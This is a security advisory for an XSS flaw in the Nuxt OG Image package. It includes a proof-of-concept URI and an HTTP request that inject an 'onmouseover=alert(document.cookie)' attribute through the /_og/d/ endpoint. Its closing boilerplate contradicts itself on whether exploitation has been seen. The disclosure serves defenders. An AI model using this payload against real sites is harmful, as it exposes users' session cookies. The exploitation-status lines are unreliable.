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GHSA-mg36-wvcr-m75h
No affected components available
Product: Nuxt OG Image Version: 6.1.2 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation Description: Incorrect parsing of GET parameters leads to the possibility of HTML injection and JavaScript code injection. Impact: Client-Side JavaScript Execution Exploitation condition: An external user Mitigation: Correct the logic of parsing GET parameters and their subsequent implementation into the generated page. Researcher: Dmitry Prokhorov (Positive Technologies)
Research
During the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered.
This research revealed that the image‑generation component by the URI: /_og/d/ (and, in older versions, /og-image/) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. The vulnerability was reproduced using the standard configuration and the default templates.
Listing 1. The content of the configuration file nuxt.config.ts
export default defineNuxtConfig({
modules: ['nuxt-og-image'],
devServer: {
host: 'web-test.local',
port: 3000
},
site: {
url: 'http://web-test.local:3000',
},
ogImage: {
fonts: [
'Inter:400',
'Inter:700'
],
}
})
Vulnerability reproduction
To demonstrate the proof‑of‑concept, follow the URI: /_og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie)&autofocus
The injected parameters onmouseover=alert(document.cookie) and autofocus are treated as attributes and are inserted directly into the generated HTML page.
Listing 2. HTTP-request example
GET /_og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie) HTTP/1.1
Host: web-test.local:3000
Figure 1. The injected attribute in the HTML body <img width="974" height="670" alt="image" src="https://github.com/user-attachments/assets/d442c235-71a5-4da9-a963-8cf4b8614745" />
Figure 2. JavaScript code execution <img width="974" height="291" alt="image" src="https://github.com/user-attachments/assets/01579f19-8e80-4fae-8516-5903370ee6d8" />
Credits
Researcher: Dmitry Prokhorov (Positive Technologies)
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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